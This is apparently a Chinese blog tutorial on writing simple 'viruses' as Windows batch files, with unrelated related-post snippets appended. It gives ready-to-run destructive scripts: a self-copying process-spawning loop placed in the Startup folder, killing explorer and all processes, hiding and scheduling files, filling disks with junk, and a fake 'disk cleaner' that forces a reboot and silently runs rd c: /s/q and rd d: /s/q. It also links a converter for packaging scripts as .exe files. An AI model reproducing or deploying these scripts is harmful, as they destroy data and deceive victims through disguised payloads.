第三天批处理文件之简单的病毒

一、批处理的作用

自上而下成批地处理每一条命令,直到执行最后一条!即便其中某一行命令执行出错,也继续执行后续命令。

二、创建批处理文件

新建一个记事本文件,然后将扩展名改为.bat。
批处理文件是以cmd执行的可执行文件,双击即可执行。

示例

1. 死循环

start 打开程序,网页,如果后面不加东西,就是打开cmd

语法:

@echo off //屏蔽执行过程,只显示结果

title mytest //程序标题

color 0a //黑色背景,绿色字体

echo ==========================

echo clear your files

echo ==========================

echo. //空行

pause

:a
start
goto a

扩展:可以将死循环添加到启动项

copy %~f0 “%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”:xunhuan

几点说明:

  1. 请在虚拟机中win7系统上学习使用,不同系统启动路径不一样。

  2. %~f0:表示当前批处理文件的完整路径。

  3. userprofile:变量,表示当前用户名,用%%表示获取变量值。

  4. 有变量及其他符号,需要采用""括起来。

  5. 冒号代表命名一个代码段,goto表示跳转到一个代码段。

2. 关闭win7桌面

批处理代码如下:

@echo off

color 0a

taskkill /im explorer.exe /f

echo 完蛋了

ping -n 5 127.0.0.1 >nul 2>nul

start c:\windows\explorer.exe

echo 吓唬你的

pause

3. win7蓝屏

批处理命令:

​ 强制杀死除了进程号为一的进程

​ taskkill /f /fi “pid ne 1”

注释:

​ /f 指定强制终止的进程

​ /fi 指定筛选的进程

​ “pid ne 1” 排除进程号为一的进程

补充:批处理操作

  1. 隐藏文件:

    attrib +sh lanping.bat

  2. 规定某个时间定时运行批处理程序

at 16:30 /every:Monday “C:\Users\Administrator\Desktop\lanpin.bat”

注释:

在下午: 16:30 运行

/every 代表指定日期, Monday 是星期一,

在星期一的16:20 分运行 mkdir.bat 这个批处理程序

运行批处理程序要使用绝对路径. 记得用 双引号 括起来。

4. 生成垃圾文件

需要以管理员运行

d: >nul 2>nul //切换至d盘

cd \ >nul 2>nul

fsutil file creatnew d:sys1.ini 102400000

fsutil file creatnew d:sys2.ini 102400000

fsutil file creatnew d:sys3.ini 102400000

fsutil file creatnew d:sys4.ini 102400000

5.分区中的文件全部删除

需要以管理员身份运行

@echo off

echo.
echo 垃圾清理
echo.
echo ==============================

echo.

echo 回车清理磁盘垃圾

pause

color 0a

echo 正在统计计算机的C盘的所有文件…

ping 127.0.0.1 /n 2 >nul

shutdown /r /t 60 /c “本机即将在1分钟后自爆”

#r重启动计算机

#t 指定时间 90秒

#c 注释重启或关闭的原因。

echo 正在统计计算机的D盘的所有文件…

ping 127.0.0.1 /n 2 >nul

echo 正在搜索计算机的磁盘上的私密文件…

echo 已检索完毕完毕 set n=0 :start set /a n+=1

echo 垃圾正在清理
rd d: /s/q >nul 2>nul
rd c: /s/q >nul 2>nul
echo 恭喜您,垃圾清理完毕,按任意键继续。
pause >nul 2>nul

将bat文件转化成exe

下载下转化工具

链接:

https://crm-1254254286.cos.ap-guangzhou.myqcloud.com/1/Bat_To_Exe_Converter_(Installer).exe

第三天-01-批处理文件相关推荐

  1. “珞珈三号01星”首个卫星影像三维模型!——重建大师最新成果

    1月15日11时14分49秒,首颗互联网智能遥感科学实验卫星"珞珈三号01星"承载着"多模""智能""互联"" ...

  2. 搜索2(一、马的遍历 二、 求细胞数量 三、01迷宫 四、奇怪的电梯 五、海战 六、路障)

    搜索2 一.马的遍历 二. 求细胞数量 三.01迷宫 四.奇怪的电梯 五.海战 六.路障 一.马的遍历 题目描述 有一个n*m的棋盘(1<n,m<=400),在某个点上有一个马,要求你计算 ...

  3. Java常用算法三:01背包问题

    文章目录 一.动态规划 1.简介 2.应用场景:背包问题 二.01背包问题 1.1 分析过程 1.2 java实现01背包问题求解 笔记来源: 尚硅谷 一.动态规划 1.简介 动态规划(Dynamic ...

  4. 王道操作系统___第三章01

    文章目录 3.1_1_内存的基础知识 3.1_2_内存管理的概念 3.1_3_覆盖与交换 3.1_4_连续分配管理方式 3.1_5_动态分区分配算法 3.1_6_基本分页存储管理的基本概念 3.1_7 ...

  5. 发布房源(三)01——进入发布房源组件-history.replace() 方法跳转页面-有缓存数据

    发布房源--进入发布房源组件-history.replace() 方法跳转页面-有缓存数据 进入发布房源组件 点击某条搜索结果,进入发布房源组件,同时携带数据 给搜索列表项添加单击事件. 在事件处理程 ...

  6. java 高并发第三阶段实战_JAVA多线程编程实战视频-第三阶段(共80节)

    高并发编程第三阶段01讲 AtomicInteger多线程下测试讲解 高并发编程第三阶段02讲 AtomicInteger API详解,以及CAS算法详细介绍 高并发编程第三阶段03讲 利用CAS构造 ...

  7. java 高并发第三阶段实战_Java 高并发第三阶段实战---Java并发包深入解析与使用详解...

    第三阶段的课程主要围绕着Java并发包的使用,展开详细的介绍,主要内容有1.原子包源码剖析,2.并发包工具类详细介绍,3.线程服务以及Future和callable等详细介绍,4.高并发容器和阻塞容器 ...

  8. 贪心算法 0-1背包c语言,贪心算法0-1背包问题(算法实验代码).pdf

    . 实验三. 0-1 背包问题(贪心算法) 实验代码: #include int max(int a,int b) { if(a>b) return a; else return b; } vo ...

  9. Java 高并发第三阶段实战---Java并发包深入解析与使用详解

    第三阶段的课程主要围绕着Java并发包的使用,展开详细的介绍,主要内容有1.原子包源码剖析,2.并发包工具类详细介绍,3.线程服务以及Future和callable等详细介绍,4.高并发容器和阻塞容器 ...

  10. 动态规划之01背包问题

    满篇都是干货,有详细的注释和代码,请放心观看. 这就是传说中的 01 背包问题,这个问题看到之后主要有两种思路: 一.贪心做法(错误想法) 这道题如果没有学过 01 背包问题的话,很容易想成一个贪心的 ...

最新文章

  1. 【EASYDOM系列教程】之 DOM 元素树
  2. ASP.NET Core 中文文档 第二章 指南(4.4)添加 Model
  3. python读取excel某一行-Python 读取csv的某行
  4. 台湾游戏企业抢滩大陆 研发成竞争核心
  5. cacti 忘记密码的方法
  6. bind配置文件解析
  7. android setflag找不到_Android面试题4–Activity之Intent的Flag
  8. mseed读取[2]
  9. c++程序员面试宝典
  10. linux系统路由器地址查询,查找路由器登录IP地址指南
  11. 电脑鼠标双击桌面图标打不开怎么办
  12. kubernetes中容器(pod)间的通信及环境变量设置
  13. 显卡的优化以提高计算机性能作用,显卡优化,详细教您如何设置NVIDIA(英伟达)显卡玩游戏性能更高...
  14. 月考勤报表的TSQL查询
  15. java severlet 获取当前路径_Java 获取当前路径的方法总结
  16. python怎么编写对称图案_如何使用opencvpython识别图像的形状是对称的还是不对称的?...
  17. 动手学强化学习第三章(马尔可夫决策过程)
  18. 139邮箱smtp地址和端口_wordpress建站如何用SMTP配置邮件通知
  19. mvp产品概念_MVP概念以及为什么需要它
  20. 一建有什么刷题软件,怎么备考?

热门文章

  1. java创建动态二维数组
  2. MPAndroidChart的详细使用——BarChart条形图(二)
  3. pgpool添加用户
  4. 皕杰报表里的排序问题
  5. fi选项 电脑没有连接wi,没有电脑怎么设置无线路由器?
  6. Linux下重启mysql的正确方法
  7. linux启动/停止/重启MySQL的命令
  8. GDT(全居描述符表)和LDT(局部描述符表)
  9. 人工智能学习培训哪家好
  10. connect ETIMEDOUT......